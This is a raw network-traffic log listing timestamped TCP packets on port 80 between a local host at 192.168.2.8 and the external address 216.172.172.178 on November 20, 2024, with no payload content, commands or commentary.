Nov 20, 2024 07:53:13.416840076 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416851997 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416861057 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416871071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416878939 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416889906 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416903973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416903973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416903973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416903973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416937113 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416937113 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.416966915 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416977882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416984081 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.416997910 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417007923 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417016983 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417032003 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417117119 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417126894 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417135954 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417145967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417150974 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417154074 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417155981 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417180061 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417190075 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417197943 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417201042 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417213917 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417256117 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417283058 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417293072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417303085 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417311907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417320967 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417324066 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417349100 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417368889 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417423010 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417433023 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417443991 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417459965 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417486906 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417490959 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417496920 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417505980 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417515993 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417522907 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417536020 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417608023 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417617083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417627096 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417638063 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417646885 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417650938 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417658091 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417668104 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417675018 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417679071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417690039 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417699099 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417715073 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417730093 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417763948 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417774916 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417784929 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417793036 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417804003 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417829990 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417856932 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417866945 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417876005 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417886019 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417897940 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417901993 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417907000 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417917967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.417934895 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.417963982 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418029070 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418071985 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418133020 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418143034 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418195009 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418226957 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418236971 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418246031 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418256044 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418266058 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418276072 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418277979 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418284893 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418297052 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418313980 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418334961 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418337107 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418346882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418356895 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418365955 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418371916 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418376923 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418390989 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418399096 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418401003 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418438911 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418545008 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418557882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418569088 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418574095 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418579102 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418584108 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418610096 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418620110 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418756008 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418765068 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418767929 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418776035 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418787956 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418796062 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418802977 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418808937 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418813944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418828964 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418831110 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418842077 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418843031 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418852091 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418859005 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418879032 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418888092 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418893099 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418896914 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418899059 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418925047 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.418940067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418950081 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418960094 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.418992043 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.419001102 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.419002056 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.419034958 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.463283062 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463325024 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463331938 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463421106 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463429928 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463442087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463453054 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.463454008 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.463505030 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918649912 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918664932 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918674946 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918685913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918699026 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918765068 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918793917 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918811083 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918817043 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918832064 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918833017 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918844938 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918857098 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918869019 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918870926 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918879986 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918895006 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918900967 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918908119 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918917894 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918932915 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918936014 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918947935 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918953896 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918958902 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918981075 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.918984890 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.918991089 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919002056 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919013977 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919020891 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919028044 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919034004 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919044971 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919054985 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919064045 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919074059 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919090986 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919104099 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919110060 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919115067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919126987 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919137001 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919140100 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919156075 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919167995 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919177055 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919188976 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919199944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919199944 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919212103 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919222116 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919223070 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919233084 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919244051 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919251919 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919255972 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919266939 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919276953 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919287920 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919291973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919298887 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919322014 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919331074 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919334888 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919342995 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919346094 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919358015 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919361115 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919368029 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919378996 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919389963 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919399977 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919410944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919420958 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919431925 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919445038 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919452906 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919462919 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919473886 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919485092 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919490099 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919497967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919509888 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919518948 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919526100 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919531107 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919544935 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919552088 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919553995 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919564962 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919569969 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919575930 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919594049 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919595003 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919610023 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919610977 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919621944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919635057 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919645071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919651031 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919658899 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919667006 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919670105 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919686079 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919696093 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919698000 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919708967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919719934 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919725895 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919734001 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919739962 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919750929 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919760942 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919770956 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919770956 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919781923 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919790983 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919790983 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919804096 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919815063 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919817924 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919825077 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919833899 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919836998 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919852018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919853926 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919868946 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919878960 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919886112 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919888973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919899940 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919907093 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919909954 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919922113 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919933081 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919943094 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919946909 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919954062 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919965029 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919971943 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.919975042 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919991016 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.919995070 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920002937 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920012951 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920020103 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920023918 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920034885 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920039892 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920046091 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920056105 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920089006 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920099020 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920099020 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920130014 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920243979 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920254946 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920265913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920275927 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920285940 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920289993 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920296907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920309067 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920320034 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920327902 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920351982 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920394897 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920406103 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920417070 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920427084 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920437098 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920443058 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920449018 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920459986 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920471907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920481920 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920483112 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920494080 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920504093 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920506954 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920516968 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920532942 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920556068 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920566082 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920571089 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920578003 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920583010 CET	80	49707	216.172.172.178	192.168.2.8
